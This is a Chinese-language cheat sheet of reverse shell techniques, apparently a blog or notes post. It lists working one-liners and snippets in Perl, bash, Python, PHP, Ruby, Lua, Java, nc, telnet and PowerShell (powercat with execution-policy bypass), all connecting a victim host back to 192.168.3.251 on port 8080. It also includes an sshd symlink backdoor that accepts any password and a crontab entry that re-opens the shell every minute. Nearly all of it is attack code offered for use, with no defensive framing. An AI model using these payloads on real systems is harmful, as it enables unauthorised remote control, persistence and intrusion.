各种姿势的shell反弹

攻击主机先监听8080端口:
nc -lvnp 8080

Perl反弹(几乎主流的linux都有perl环境）

perl -e 'use Socket;$i="192.168.3.251";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

bash反弹[redhat系列，不建议使用exec]

bash -i >& /dev/tcp/192.168.3.251/8080 0>&1 [适合redhat系列,不建议用exec,兼容性并不好]

ssh反弹

受害主机执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;   

攻击机器:
ssh root@192.168.3.251 -p 8080 [用户名root,密码随意]

NC反弹

默认linux的nc没有带-e(发送至性程序)选项, 可以通过命名管道的方式把bash通过nc反弹出来

受害主机:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 8080 > /tmp/f

Telnet反弹

受害主机:

telnet 192.168.3.251 8080 | /bin/bash | telnet 192.168.3.251 1080

攻击主机:
nc -lvp 1080 
nc -lvp 8080 //这里输入命令可以在1080看到结果

受害机器:
mknod test p && telnet 192.168.3.251  8080 0<test | /bin/bash 1>test

攻击：
nc  -lvvp 8080

top命令看不到结果，因为不是tty

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.3.251",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

crontab

(crontab -l;printf "* * * * *  /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.3.251\",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -

PHP反弹

php -r '$sock=fsockopen("192.168.3.251",8080);exec("/bin/bash -i <&3 >&3 2>&3");'

Java

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
    public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.3.251","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua

 lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"

WIndows

PS C:\> Import-Module .\powercat.ps1
PS C:\> powercat -c 192.168.3.251 -p 8081 -e cmd -g >> payload.ps1
# nc -lvp 8081 然后开始监听payload回连的端口

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"
 挂在后台执行
